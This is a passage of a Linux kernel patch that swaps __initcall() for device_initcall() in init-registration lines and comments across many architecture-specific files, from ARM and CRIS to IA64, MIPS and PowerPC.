+device_initcall(p720t_hw_init);
 
diff --git a/arch/arm/mach-ebsa110/leds.c b/arch/arm/mach-ebsa110/leds.c
index 6a6ea57..8b57907 100644
--- a/arch/arm/mach-ebsa110/leds.c
+++ b/arch/arm/mach-ebsa110/leds.c
@@ -48,4 +48,4 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
diff --git a/arch/arm/mach-footbridge/cats-hw.c b/arch/arm/mach-footbridge/cats-hw.c
index 1b996b2..1b616e5 100644
--- a/arch/arm/mach-footbridge/cats-hw.c
+++ b/arch/arm/mach-footbridge/cats-hw.c
@@ -69,7 +69,7 @@ static int __init cats_hw_init(void)
 	return 0;
 }
 
-__initcall(cats_hw_init);
+device_initcall(cats_hw_init);
 
 /*
  * CATS uses soft-reboot by default, since
diff --git a/arch/arm/mach-footbridge/ebsa285-leds.c b/arch/arm/mach-footbridge/ebsa285-leds.c
index 4e10090..f162fb2 100644
--- a/arch/arm/mach-footbridge/ebsa285-leds.c
+++ b/arch/arm/mach-footbridge/ebsa285-leds.c
@@ -136,4 +136,4 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
diff --git a/arch/arm/mach-footbridge/netwinder-hw.c b/arch/arm/mach-footbridge/netwinder-hw.c
index ac7ffa6..090b4cf 100644
--- a/arch/arm/mach-footbridge/netwinder-hw.c
+++ b/arch/arm/mach-footbridge/netwinder-hw.c
@@ -623,7 +623,7 @@ static int __init nw_hw_init(void)
 	return 0;
 }
 
-__initcall(nw_hw_init);
+device_initcall(nw_hw_init);
 
 /*
  * Older NeTTroms either do not provide a parameters
diff --git a/arch/arm/mach-footbridge/netwinder-leds.c b/arch/arm/mach-footbridge/netwinder-leds.c
index 00269fe..f504682 100644
--- a/arch/arm/mach-footbridge/netwinder-leds.c
+++ b/arch/arm/mach-footbridge/netwinder-leds.c
@@ -136,4 +136,4 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
diff --git a/arch/arm/mach-ks8695/leds.c b/arch/arm/mach-ks8695/leds.c
index 184ef74..97c3828 100644
--- a/arch/arm/mach-ks8695/leds.c
+++ b/arch/arm/mach-ks8695/leds.c
@@ -90,4 +90,4 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
diff --git a/arch/arm/mach-omap1/leds.c b/arch/arm/mach-omap1/leds.c
index 277f356..bd447fa 100644
--- a/arch/arm/mach-omap1/leds.c
+++ b/arch/arm/mach-omap1/leds.c
@@ -63,4 +63,4 @@ omap_leds_init(void)
 	return 0;
 }
 
-__initcall(omap_leds_init);
+device_initcall(omap_leds_init);
diff --git a/arch/arm/mach-omap1/pm.c b/arch/arm/mach-omap1/pm.c
index b1d3f9f..fda5f60 100644
--- a/arch/arm/mach-omap1/pm.c
+++ b/arch/arm/mach-omap1/pm.c
@@ -724,4 +724,4 @@ static int __init omap_pm_init(void)
 
 	return 0;
 }
-__initcall(omap_pm_init);
+device_initcall(omap_pm_init);
diff --git a/arch/arm/mach-orion5x/db88f5281-setup.c b/arch/arm/mach-orion5x/db88f5281-setup.c
index d318bea..0c76893 100644
--- a/arch/arm/mach-orion5x/db88f5281-setup.c
+++ b/arch/arm/mach-orion5x/db88f5281-setup.c
@@ -197,7 +197,7 @@ static int __init db88f5281_7seg_init(void)
 	return 0;
 }
 
-__initcall(db88f5281_7seg_init);
+device_initcall(db88f5281_7seg_init);
 
 /*****************************************************************************
  * PCI
diff --git a/arch/arm/mach-orion5x/rd88f5182-setup.c b/arch/arm/mach-orion5x/rd88f5182-setup.c
index a04f9e4..43e9a49 100644
--- a/arch/arm/mach-orion5x/rd88f5182-setup.c
+++ b/arch/arm/mach-orion5x/rd88f5182-setup.c
@@ -130,7 +130,7 @@ static int __init rd88f5182_dbgled_init(void)
 	return 0;
 }
 
-__initcall(rd88f5182_dbgled_init);
+device_initcall(rd88f5182_dbgled_init);
 
 #endif
 
diff --git a/arch/arm/mach-pxa/generic.c b/arch/arm/mach-pxa/generic.c
index 3126a35..1d44a9a 100644
--- a/arch/arm/mach-pxa/generic.c
+++ b/arch/arm/mach-pxa/generic.c
@@ -12,7 +12,7 @@
  * published by the Free Software Foundation.
  *
  * Since this file should be linked before any other machine specific file,
- * the __initcall() here will be executed first.  This serves as default
+ * the device_initcall() here will be executed first.  This serves as default
  * initialization stuff for PXA machines which can be overridden later if
  * need be.
  */
diff --git a/arch/arm/mach-pxa/pxa25x.c b/arch/arm/mach-pxa/pxa25x.c
index 0b9ad30..b0df545 100644
--- a/arch/arm/mach-pxa/pxa25x.c
+++ b/arch/arm/mach-pxa/pxa25x.c
@@ -12,7 +12,7 @@
  * published by the Free Software Foundation.
  *
  * Since this file should be linked before any other machine specific file,
- * the __initcall() here will be executed first.  This serves as default
+ * the device_initcall() here will be executed first.  This serves as default
  * initialization stuff for PXA machines which can be overridden later if
  * need be.
  */
diff --git a/arch/arm/mach-shark/leds.c b/arch/arm/mach-shark/leds.c
index c9e32de..511693a 100644
--- a/arch/arm/mach-shark/leds.c
+++ b/arch/arm/mach-shark/leds.c
@@ -163,4 +163,4 @@ static int __init leds_init(void)
 	return 0;
 }
 
-__initcall(leds_init);
+device_initcall(leds_init);
diff --git a/arch/blackfin/kernel/bfin_gpio.c b/arch/blackfin/kernel/bfin_gpio.c
index a174596..bc5ba54 100644
--- a/arch/blackfin/kernel/bfin_gpio.c
+++ b/arch/blackfin/kernel/bfin_gpio.c
@@ -1285,7 +1285,7 @@ static __init int gpio_register_proc(void)
 		proc_gpio->read_proc = gpio_proc_read;
 	return proc_gpio != NULL;
 }
-__initcall(gpio_register_proc);
+device_initcall(gpio_register_proc);
 #endif
 
 #ifdef CONFIG_GPIOLIB
diff --git a/arch/blackfin/mach-common/pm.c b/arch/blackfin/mach-common/pm.c
index 8837be4..dc36d3a 100644
--- a/arch/blackfin/mach-common/pm.c
+++ b/arch/blackfin/mach-common/pm.c
@@ -266,4 +266,4 @@ static int __init bfin_pm_init(void)
 	return 0;
 }
 
-__initcall(bfin_pm_init);
+device_initcall(bfin_pm_init);
diff --git a/arch/cris/arch-v10/kernel/debugport.c b/arch/cris/arch-v10/kernel/debugport.c
index 99851ba..0348977 100644
--- a/arch/cris/arch-v10/kernel/debugport.c
+++ b/arch/cris/arch-v10/kernel/debugport.c
@@ -564,4 +564,4 @@ init_etrax_debug(void)
 #endif
 	return 0;
 }
-__initcall(init_etrax_debug);
+device_initcall(init_etrax_debug);
diff --git a/arch/cris/arch-v10/kernel/fasttimer.c b/arch/cris/arch-v10/kernel/fasttimer.c
index 5ff08a8..b991462 100644
--- a/arch/cris/arch-v10/kernel/fasttimer.c
+++ b/arch/cris/arch-v10/kernel/fasttimer.c
@@ -879,4 +879,4 @@ int fast_timer_init(void)
   }
 	return 0;
 }
-__initcall(fast_timer_init);
+device_initcall(fast_timer_init);
diff --git a/arch/cris/arch-v10/mm/init.c b/arch/cris/arch-v10/mm/init.c
index baa746c..908d829 100644
--- a/arch/cris/arch-v10/mm/init.c
+++ b/arch/cris/arch-v10/mm/init.c
@@ -217,7 +217,7 @@ __init init_ioremap(void)
 	return 0;
 }
 
-__initcall(init_ioremap);
+device_initcall(init_ioremap);
 
 /* Helper function for the two below */
 
diff --git a/arch/cris/arch-v32/kernel/fasttimer.c b/arch/cris/arch-v32/kernel/fasttimer.c
index 111caa1..221bcea 100644
--- a/arch/cris/arch-v32/kernel/fasttimer.c
+++ b/arch/cris/arch-v32/kernel/fasttimer.c
@@ -833,4 +833,4 @@ int fast_timer_init(void)
   }
 	return 0;
 }
-__initcall(fast_timer_init);
+device_initcall(fast_timer_init);
diff --git a/arch/cris/arch-v32/kernel/pinmux.c b/arch/cris/arch-v32/kernel/pinmux.c
index f6f3637..c2dfcd3 100644
--- a/arch/cris/arch-v32/kernel/pinmux.c
+++ b/arch/cris/arch-v32/kernel/pinmux.c
@@ -226,4 +226,4 @@ crisv32_pinmux_dump(void)
 	}
 }
 
-__initcall(crisv32_pinmux_init);
+device_initcall(crisv32_pinmux_init);
diff --git a/arch/cris/arch-v32/kernel/signal.c b/arch/cris/arch-v32/kernel/signal.c
index 372d0ca..d1e1b4e 100644
--- a/arch/cris/arch-v32/kernel/signal.c
+++ b/arch/cris/arch-v32/kernel/signal.c
@@ -672,4 +672,4 @@ cris_init_signal(void)
 	return 0;
 }
 
-__initcall(cris_init_signal);
+device_initcall(cris_init_signal);
diff --git a/arch/cris/arch-v32/mach-a3/io.c b/arch/cris/arch-v32/mach-a3/io.c
index 090ceb9..ea40a9b 100644
--- a/arch/cris/arch-v32/mach-a3/io.c
+++ b/arch/cris/arch-v32/mach-a3/io.c
@@ -95,7 +95,7 @@ static int __init crisv32_io_init(void)
 	return ret;
 }
 
-__initcall(crisv32_io_init);
+device_initcall(crisv32_io_init);
 
 int crisv32_io_get(struct crisv32_iopin *iopin,
 	unsigned int port, unsigned int pin)
diff --git a/arch/cris/arch-v32/mach-a3/pinmux.c b/arch/cris/arch-v32/mach-a3/pinmux.c
index 18648ef..14bbc78 100644
--- a/arch/cris/arch-v32/mach-a3/pinmux.c
+++ b/arch/cris/arch-v32/mach-a3/pinmux.c
@@ -383,4 +383,4 @@ crisv32_pinmux_dump(void)
 	}
 }
 
-__initcall(crisv32_pinmux_init);
+device_initcall(crisv32_pinmux_init);
diff --git a/arch/cris/arch-v32/mach-fs/io.c b/arch/cris/arch-v32/mach-fs/io.c
index a695866..fce8438 100644
--- a/arch/cris/arch-v32/mach-fs/io.c
+++ b/arch/cris/arch-v32/mach-fs/io.c
@@ -128,7 +128,7 @@ static int __init crisv32_io_init(void)
 	return ret;
 }
 
-__initcall(crisv32_io_init);
+device_initcall(crisv32_io_init);
 
 int crisv32_io_get(struct crisv32_iopin *iopin,
 		   unsigned int port, unsigned int pin)
diff --git a/arch/cris/arch-v32/mach-fs/pinmux.c b/arch/cris/arch-v32/mach-fs/pinmux.c
index 38f29ee..751f991 100644
--- a/arch/cris/arch-v32/mach-fs/pinmux.c
+++ b/arch/cris/arch-v32/mach-fs/pinmux.c
@@ -306,4 +306,4 @@ void crisv32_pinmux_dump(void)
 	}
 }
 
-__initcall(crisv32_pinmux_init);
+device_initcall(crisv32_pinmux_init);
diff --git a/arch/cris/kernel/profile.c b/arch/cris/kernel/profile.c
index 9aa5711..2472f3f 100644
--- a/arch/cris/kernel/profile.c
+++ b/arch/cris/kernel/profile.c
@@ -82,4 +82,4 @@ __init init_cris_profile(void)
 	return 0;
 }
 
-__initcall(init_cris_profile);
+device_initcall(init_cris_profile);
diff --git a/arch/cris/kernel/time.c b/arch/cris/kernel/time.c
index a05dd31..7554e96 100644
--- a/arch/cris/kernel/time.c
+++ b/arch/cris/kernel/time.c
@@ -160,4 +160,4 @@ __init init_udelay(void)
 	return 0;
 }
 
-__initcall(init_udelay);
+device_initcall(init_udelay);
diff --git a/arch/cris/kernel/traps.c b/arch/cris/kernel/traps.c
index 541efbf..8f77b68 100644
--- a/arch/cris/kernel/traps.c
+++ b/arch/cris/kernel/traps.c
@@ -177,7 +177,7 @@ oops_nmi_register(void)
 	return 0;
 }
 
-__initcall(oops_nmi_register);
+device_initcall(oops_nmi_register);
 
 #endif
 
diff --git a/arch/frv/kernel/gdb-stub.c b/arch/frv/kernel/gdb-stub.c
index 7ca8a6b..71d564c 100644
--- a/arch/frv/kernel/gdb-stub.c
+++ b/arch/frv/kernel/gdb-stub.c
@@ -2017,7 +2017,7 @@ static int __init gdbstub_postinit(void)
 	return 0;
 } /* end gdbstub_postinit() */
 
-__initcall(gdbstub_postinit);
+device_initcall(gdbstub_postinit);
 #endif
 
 /*****************************************************************************/
diff --git a/arch/frv/kernel/pm-mb93093.c b/arch/frv/kernel/pm-mb93093.c
index eaa7b58..3caa348 100644
--- a/arch/frv/kernel/pm-mb93093.c
+++ b/arch/frv/kernel/pm-mb93093.c
@@ -61,5 +61,5 @@ static int __init mb93093_pm_init(void)
 	return 0;
 }
 
-__initcall(mb93093_pm_init);
+device_initcall(mb93093_pm_init);
 
diff --git a/arch/frv/kernel/pm.c b/arch/frv/kernel/pm.c
index 5fa3889..b1aad48 100644
--- a/arch/frv/kernel/pm.c
+++ b/arch/frv/kernel/pm.c
@@ -348,6 +348,6 @@ static int __init pm_init(void)
 	return 0;
 }
 
-__initcall(pm_init);
+device_initcall(pm_init);
 
 #endif
diff --git a/arch/frv/kernel/sysctl.c b/arch/frv/kernel/sysctl.c
index 035516c..3280f8b 100644
--- a/arch/frv/kernel/sysctl.c
+++ b/arch/frv/kernel/sysctl.c
@@ -217,4 +217,4 @@ static int __init frv_sysctl_init(void)
 	return 0;
 }
 
-__initcall(frv_sysctl_init);
+device_initcall(frv_sysctl_init);
diff --git a/arch/h8300/kernel/gpio.c b/arch/h8300/kernel/gpio.c
index 6a25dd5..6ea7dd9 100644
--- a/arch/h8300/kernel/gpio.c
+++ b/arch/h8300/kernel/gpio.c
@@ -164,7 +164,7 @@ static __init int register_proc(void)
 	return proc_gpio != NULL;
 }
 
-__initcall(register_proc);
+device_initcall(register_proc);
 #endif
 
 void __init h8300_gpio_init(void)
diff --git a/arch/ia64/hp/sim/simeth.c b/arch/ia64/hp/sim/simeth.c
index 7e81966..e669908 100644
--- a/arch/ia64/hp/sim/simeth.c
+++ b/arch/ia64/hp/sim/simeth.c
@@ -524,4 +524,4 @@ set_multicast_list(struct net_device *dev)
 	printk(KERN_WARNING "%s: set_multicast_list called\n", dev->name);
 }
 
-__initcall(simeth_probe);
+device_initcall(simeth_probe);
diff --git a/arch/ia64/hp/sim/simserial.c b/arch/ia64/hp/sim/simserial.c
index 2bef526..470c0a1 100644
--- a/arch/ia64/hp/sim/simserial.c
+++ b/arch/ia64/hp/sim/simserial.c
@@ -980,5 +980,5 @@ simrs_init (void)
 }
 
 #ifndef MODULE
-__initcall(simrs_init);
+device_initcall(simrs_init);
 #endif
diff --git a/arch/ia64/kernel/audit.c b/arch/ia64/kernel/audit.c
index 96a9d18..c7d79ba 100644
--- a/arch/ia64/kernel/audit.c
+++ b/arch/ia64/kernel/audit.c
@@ -57,4 +57,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/arch/ia64/kernel/crash.c b/arch/ia64/kernel/crash.c
index b942f40..07218af 100644
--- a/arch/ia64/kernel/crash.c
+++ b/arch/ia64/kernel/crash.c
@@ -282,5 +282,5 @@ machine_crash_setup(void)
 	return 0;
 }
 
-__initcall(machine_crash_setup);
+device_initcall(machine_crash_setup);
 
diff --git a/arch/ia64/kernel/cyclone.c b/arch/ia64/kernel/cyclone.c
index 71e3586..66fb97e 100644
--- a/arch/ia64/kernel/cyclone.c
+++ b/arch/ia64/kernel/cyclone.c
@@ -125,4 +125,4 @@ int __init init_cyclone_clock(void)
 	return 0;
 }
 
-__initcall(init_cyclone_clock);
+device_initcall(init_cyclone_clock);
diff --git a/arch/ia64/kernel/perfmon.c b/arch/ia64/kernel/perfmon.c
index 703062c..cb7199a 100644
--- a/arch/ia64/kernel/perfmon.c
+++ b/arch/ia64/kernel/perfmon.c
@@ -6700,7 +6700,7 @@ pfm_init(void)
 	return 0;
 }
 
-__initcall(pfm_init);
+device_initcall(pfm_init);
 
 /*
  * this function is called before pfm_init()
diff --git a/arch/ia64/kernel/setup.c b/arch/ia64/kernel/setup.c
index 41ae6a5..8322a01 100644
--- a/arch/ia64/kernel/setup.c
+++ b/arch/ia64/kernel/setup.c
@@ -243,7 +243,7 @@ static int __init register_memory(void)
 	return 0;
 }
 
-__initcall(register_memory);
+device_initcall(register_memory);
 
 
 #ifdef CONFIG_KEXEC
diff --git a/arch/ia64/kernel/uncached.c b/arch/ia64/kernel/uncached.c
index a595823..4a9812f 100644
--- a/arch/ia64/kernel/uncached.c
+++ b/arch/ia64/kernel/uncached.c
@@ -279,4 +279,4 @@ static int __init uncached_init(void)
 	return 0;
 }
 
-__initcall(uncached_init);
+device_initcall(uncached_init);
diff --git a/arch/ia64/kernel/unwind.c b/arch/ia64/kernel/unwind.c
index b6c0e63..62de896 100644
--- a/arch/ia64/kernel/unwind.c
+++ b/arch/ia64/kernel/unwind.c
@@ -2223,7 +2223,7 @@ create_gate_table (void)
 	return 0;
 }
 
-__initcall(create_gate_table);
+device_initcall(create_gate_table);
 
 void __init
 unw_init (void)
diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index ed41759..da31b31 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -716,4 +716,4 @@ per_linux32_init(void)
 	return 0;
 }
 
-__initcall(per_linux32_init);
+device_initcall(per_linux32_init);
diff --git a/arch/mips/Makefile b/arch/mips/Makefile
index 2f2eac2..0341a9e 100644
--- a/arch/mips/Makefile
+++ b/arch/mips/Makefile
@@ -534,7 +534,7 @@ load-$(CONFIG_SGI_IP32)		+= 0xffffffff80004000
 #
 # This is a LIB so that it links at the end, and initcalls are later
 # the sequence; but it is built as an object so that modules don't get
-# removed (as happens, even if they have __initcall/module_init)
+# removed (as happens, even if they have device_initcall/module_init)
 #
 core-$(CONFIG_SIBYTE_BCM112X)	+= arch/mips/sibyte/sb1250/
 core-$(CONFIG_SIBYTE_BCM112X)	+= arch/mips/sibyte/common/
diff --git a/arch/mips/kernel/unaligned.c b/arch/mips/kernel/unaligned.c
index 69b039c..7233ac8 100644
--- a/arch/mips/kernel/unaligned.c
+++ b/arch/mips/kernel/unaligned.c
@@ -567,5 +567,5 @@ static int __init debugfs_unaligned(void)
 		return -ENOMEM;
 	return 0;
 }
-__initcall(debugfs_unaligned);
+device_initcall(debugfs_unaligned);
 #endif
diff --git a/arch/mips/lasat/sysctl.c b/arch/mips/lasat/sysctl.c
index d87ffd0..6cc8d2f 100644
--- a/arch/mips/lasat/sysctl.c
+++ b/arch/mips/lasat/sysctl.c
@@ -285,4 +285,4 @@ static int __init lasat_register_sysctl(void)
 	return 0;
 }
 
-__initcall(lasat_register_sysctl);
+device_initcall(lasat_register_sysctl);
diff --git a/arch/mips/math-emu/cp1emu.c b/arch/mips/math-emu/cp1emu.c
index 8f2f8e9..3936be4 100644
--- a/arch/mips/math-emu/cp1emu.c
+++ b/arch/mips/math-emu/cp1emu.c
@@ -1325,5 +1325,5 @@ static int __init debugfs_fpuemu(void)
 
 	return 0;
 }
-__initcall(debugfs_fpuemu);
+device_initcall(debugfs_fpuemu);
 #endif
diff --git a/arch/mips/nxp/pnx8550/common/proc.c b/arch/mips/nxp/pnx8550/common/proc.c
index af094cd..9a10d8c 100644
--- a/arch/mips/nxp/pnx8550/common/proc.c
+++ b/arch/mips/nxp/pnx8550/common/proc.c
@@ -108,4 +108,4 @@ static int pnx8550_proc_init( void )
 	return 0;
 }
 
-__initcall(pnx8550_proc_init);
+device_initcall(pnx8550_proc_init);
diff --git a/arch/mips/sibyte/sb1250/bus_watcher.c b/arch/mips/sibyte/sb1250/bus_watcher.c
index 45274bd..e8e7f23 100644
--- a/arch/mips/sibyte/sb1250/bus_watcher.c
+++ b/arch/mips/sibyte/sb1250/bus_watcher.c
@@ -255,4 +255,4 @@ int __init sibyte_bus_watcher(void)
 	return 0;
 }
 
-__initcall(sibyte_bus_watcher);
+device_initcall(sibyte_bus_watcher);
diff --git a/arch/mn10300/kernel/gdb-stub.c b/arch/mn10300/kernel/gdb-stub.c
index 41b1170..22e0613 100644
--- a/arch/mn10300/kernel/gdb-stub.c
+++ b/arch/mn10300/kernel/gdb-stub.c
@@ -1884,7 +1884,7 @@ static int __init gdbstub_postinit(void)
 	return 0;
 }
 
-__initcall(gdbstub_postinit);
+device_initcall(gdbstub_postinit);
 #endif
 
 /*
diff --git a/arch/mn10300/kernel/mn10300-serial.c b/arch/mn10300/kernel/mn10300-serial.c
index ef34d5a..9cada2f 100644
--- a/arch/mn10300/kernel/mn10300-serial.c
+++ b/arch/mn10300/kernel/mn10300-serial.c
@@ -1350,7 +1350,7 @@ static int __init mn10300_serial_init(void)
 	return ret;
 }
 
-__initcall(mn10300_serial_init);
+device_initcall(mn10300_serial_init);
 
 
 #ifdef CONFIG_MN10300_TTYSM_CONSOLE
diff --git a/arch/mn10300/kernel/profile.c b/arch/mn10300/kernel/profile.c
index 20d7d03..e799032 100644
--- a/arch/mn10300/kernel/profile.c
+++ b/arch/mn10300/kernel/profile.c
@@ -48,4 +48,4 @@ static __init int profile_init(void)
 	return 0;
 }
 
-__initcall(profile_init);
+device_initcall(profile_init);
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index c07f618..e7c12c0 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -410,7 +410,7 @@ pcxl_dma_init(void)
 	return 0;
 }
 
-__initcall(pcxl_dma_init);
+device_initcall(pcxl_dma_init);
 
 static void * pa11_dma_alloc_consistent (struct device *dev, size_t size, dma_addr_t *dma_handle, gfp_t flag)
 {
diff --git a/arch/parisc/kernel/pdc_chassis.c b/arch/parisc/kernel/pdc_chassis.c
index d47ba1a..35ad4cb 100644
--- a/arch/parisc/kernel/pdc_chassis.c
+++ b/arch/parisc/kernel/pdc_chassis.c
@@ -295,7 +295,7 @@ static int __init pdc_chassis_create_procfs(void)
 	return 0;
 }
 
-__initcall(pdc_chassis_create_procfs);
+device_initcall(pdc_chassis_create_procfs);
 
 #endif /* CONFIG_PROC_FS */
 #endif /* CONFIG_PDC_CHASSIS_WARN */
diff --git a/arch/powerpc/kernel/audit.c b/arch/powerpc/kernel/audit.c
index a4dab7c..e721e2e 100644
--- a/arch/powerpc/kernel/audit.c
+++ b/arch/powerpc/kernel/audit.c
@@ -80,4 +80,4 @@ static int __init audit_classes_init(void)
 	return 0;
 }
 
-__initcall(audit_classes_init);
+device_initcall(audit_classes_init);
diff --git a/arch/powerpc/kernel/idle.c b/arch/powerpc/kernel/idle.c
index 049dda6..694861f 100644
--- a/arch/powerpc/kernel/idle.c
+++ b/arch/powerpc/kernel/idle.c
@@ -134,5 +134,5 @@ register_powersave_nap_sysctl(void)
 
 	return 0;
 }
-__initcall(register_powersave_nap_sysctl);
+device_initcall(register_powersave_nap_sysctl);
 #endif
diff --git a/arch/powerpc/kernel/irq.c b/arch/powerpc/kernel/irq.c
index 64f6f20..2e97ae9 100644
--- a/arch/powerpc/kernel/irq.c
+++ b/arch/powerpc/kernel/irq.c
@@ -1203,7 +1203,7 @@ static int __init irq_debugfs_init(void)
 
 	return 0;
 }
-__initcall(irq_debugfs_init);
+device_initcall(irq_debugfs_init);
 #endif /* CONFIG_VIRQ_DEBUG */
 
 #ifdef CONFIG_PPC64
diff --git a/arch/powerpc/kernel/proc_powerpc.c b/arch/powerpc/kernel/proc_powerpc.c
index 1ed3b8d..f53bdca 100644
--- a/arch/powerpc/kernel/proc_powerpc.c
+++ b/arch/powerpc/kernel/proc_powerpc.c
@@ -91,7 +91,7 @@ static int __init proc_ppc64_init(void)
 
 	return 0;
 }
-__initcall(proc_ppc64_init);
+device_initcall(proc_ppc64_init);
 
 #endif /* CONFIG_PPC64 */
 
diff --git a/arch/powerpc/kernel/prom.c b/arch/powerpc/kernel/prom.c
index 05131d6..628d6df 100644
--- a/arch/powerpc/kernel/prom.c
+++ b/arch/powerpc/kernel/prom.c
@@ -845,7 +845,7 @@ static int __init prom_reconfig_setup(void)
 {
 	return pSeries_reconfig_notifier_register(&prom_reconfig_nb);
 }
-__initcall(prom_reconfig_setup);
+device_initcall(prom_reconfig_setup);
 #endif
 
 /* Find the device node for a given logical cpu number, also returns the cpu
@@ -909,5 +909,5 @@ static int __init export_flat_device_tree(void)
 
 	return 0;
 }
-__initcall(export_flat_device_tree);
+device_initcall(export_flat_device_tree);
 #endif
diff --git a/arch/powerpc/kernel/rtas-proc.c b/arch/powerpc/kernel/rtas-proc.c
index 8777fb0..7578df5 100644
--- a/arch/powerpc/kernel/rtas-proc.c
+++ b/arch/powerpc/kernel/rtas-proc.c
@@ -279,7 +279,7 @@ static int __init proc_rtas_init(void)
 	return 0;
 }
 
-__initcall(proc_rtas_init);
+device_initcall(proc_rtas_init);
 
 static int parse_number(const char __user *p, size_t count, unsigned long *val)
 {
diff --git a/arch/powerpc/kernel/rtasd.c b/arch/powerpc/kernel/rtasd.c
index 2e4832a..1bfd919 100644
--- a/arch/powerpc/kernel/rtasd.c
+++ b/arch/powerpc/kernel/rtasd.c
@@ -508,7 +508,7 @@ static int __init rtas_init(void)
 
 	return 0;
 }
-__initcall(rtas_init);
+device_initcall(rtas_init);
 
 static int __init surveillance_setup(char *str)
 {
diff --git a/arch/powerpc/kernel/sysfs.c b/arch/powerpc/kernel/sysfs.c
index e235e52..6ddb889 100644
--- a/arch/powerpc/kernel/sysfs.c
+++ b/arch/powerpc/kernel/sysfs.c
@@ -92,7 +92,7 @@ static int __init smt_setup(void)
 	of_node_put(options);
 	return 0;
 }
-__initcall(smt_setup);
+device_initcall(smt_setup);
 
 static int __init setup_smt_snooze_delay(char *str)
 {
diff --git a/arch/powerpc/kernel/tau_6xx.c b/arch/powerpc/kernel/tau_6xx.c
index a753b72..a38d207 100644
--- a/arch/powerpc/kernel/tau_6xx.c
+++ b/arch/powerpc/kernel/tau_6xx.c
@@ -248,7 +248,7 @@ int __init TAU_init(void)
 	return 0;
 }
 
-__initcall(TAU_init);
+device_initcall(TAU_init);
 
 /*
  * return current temp
diff --git a/arch/powerpc/kernel/vio.c b/arch/powerpc/kernel/vio.c
index 77f6421..c74aae9 100644
--- a/arch/powerpc/kernel/vio.c
+++ b/arch/powerpc/kernel/vio.c
@@ -1303,7 +1303,7 @@ static int __init vio_bus_init(void)
 
 	return 0;
 }
-__initcall(vio_bus_init);
+device_initcall(vio_bus_init);
 
 static ssize_t name_show(struct device *dev,
 		struct device_attribute *attr, char *buf)
diff --git a/arch/powerpc/platforms/iseries/lpevents.c b/arch/powerpc/platforms/iseries/lpevents.c
index b0f8a85..66bc6ff 100644
--- a/arch/powerpc/platforms/iseries/lpevents.c
+++ b/arch/powerpc/platforms/iseries/lpevents.c
@@ -337,5 +337,5 @@ static int __init proc_lpevents_init(void)
 		    &proc_lpevents_operations);
 	return 0;
 }
-__initcall(proc_lpevents_init);
+device_initcall(proc_lpevents_init);
 
diff --git a/arch/powerpc/platforms/iseries/mf.c b/arch/powerpc/platforms/iseries/mf.c
index 6617915..d140c09 100644
--- a/arch/powerpc/platforms/iseries/mf.c
+++ b/arch/powerpc/platforms/iseries/mf.c
@@ -1299,7 +1299,7 @@ static int __init mf_proc_init(void)
 	return 0;
 }
 
-__initcall(mf_proc_init);
+device_initcall(mf_proc_init);
 
 #endif /* CONFIG_PROC_FS */
 
diff --git a/arch/powerpc/platforms/iseries/proc.c b/arch/powerpc/platforms/iseries/proc.c
index 0676368..1e9ac90 100644
--- a/arch/powerpc/platforms/iseries/proc.c
+++ b/arch/powerpc/platforms/iseries/proc.c
@@ -117,4 +117,4 @@ static int __init iseries_proc_init(void)
 		    &proc_titantod_operations);
 	return 0;
 }
-__initcall(iseries_proc_init);
+device_initcall(iseries_proc_init);
diff --git a/arch/powerpc/platforms/iseries/viopath.c b/arch/powerpc/platforms/iseries/viopath.c
index 5aea94f..daac760 100644
--- a/arch/powerpc/platforms/iseries/viopath.c
+++ b/arch/powerpc/platforms/iseries/viopath.c
@@ -186,7 +186,7 @@ static int __init vio_proc_init(void)
 	proc_create("iSeries/config", 0, NULL, &proc_viopath_operations);
         return 0;
 }
-__initcall(vio_proc_init);
+device_initcall(vio_proc_init);
 
 /* See if a given LP is active.  Allow for invalid lps to be passed in
  * and just return invalid
diff --git a/arch/powerpc/platforms/pseries/eeh.c b/arch/powerpc/platforms/pseries/eeh.c
index 7df7fbb..cb72726 100644
--- a/arch/powerpc/platforms/pseries/eeh.c
+++ b/arch/powerpc/platforms/pseries/eeh.c
@@ -1287,4 +1287,4 @@ static int __init eeh_init_proc(void)
 		proc_create("ppc64/eeh", 0, NULL, &proc_eeh_operations);
 	return 0;
 }
-__initcall(eeh_init_proc);
+device_initcall(eeh_init_proc);
diff --git a/arch/powerpc/platforms/pseries/hvCall_inst.c b/arch/powerpc/platforms/pseries/hvCall_inst.c
index 1fefae7..ca1b4e2 100644
--- a/arch/powerpc/platforms/pseries/hvCall_inst.c
+++ b/arch/powerpc/platforms/pseries/hvCall_inst.c
@@ -164,4 +164,4 @@ static int __init hcall_inst_init(void)
 
 	return 0;
 }
-__initcall(hcall_inst_init);
+device_initcall(hcall_inst_init);
diff --git a/arch/powerpc/platforms/pseries/power.c b/arch/powerpc/platforms/pseries/power.c
index 6d62662..0eafaf8 100644
--- a/arch/powerpc/platforms/pseries/power.c
+++ b/arch/powerpc/platforms/pseries/power.c
@@ -77,5 +77,5 @@ static int __init apo_pm_init(void)
 {
 	return (sysfs_create_file(power_kobj, &auto_poweron_attr.attr));
 }
-__initcall(apo_pm_init);
+device_initcall(apo_pm_init);
 #endif
diff --git a/arch/powerpc/platforms/pseries/ras.c b/arch/powerpc/platforms/pseries/ras.c
index d20b96e..247bad9 100644
--- a/arch/powerpc/platforms/pseries/ras.c
+++ b/arch/powerpc/platforms/pseries/ras.c
@@ -152,7 +152,7 @@ static int __init init_ras_IRQ(void)
 
 	return 0;
 }
-__initcall(init_ras_IRQ);
+device_initcall(init_ras_IRQ);
 
 /*
  * Handle power subsystem events (EPOW).
diff --git a/arch/powerpc/platforms/pseries/reconfig.c b/arch/powerpc/platforms/pseries/reconfig.c
index a2305d2..d82ca6c 100644
--- a/arch/powerpc/platforms/pseries/reconfig.c
+++ b/arch/powerpc/platforms/pseries/reconfig.c
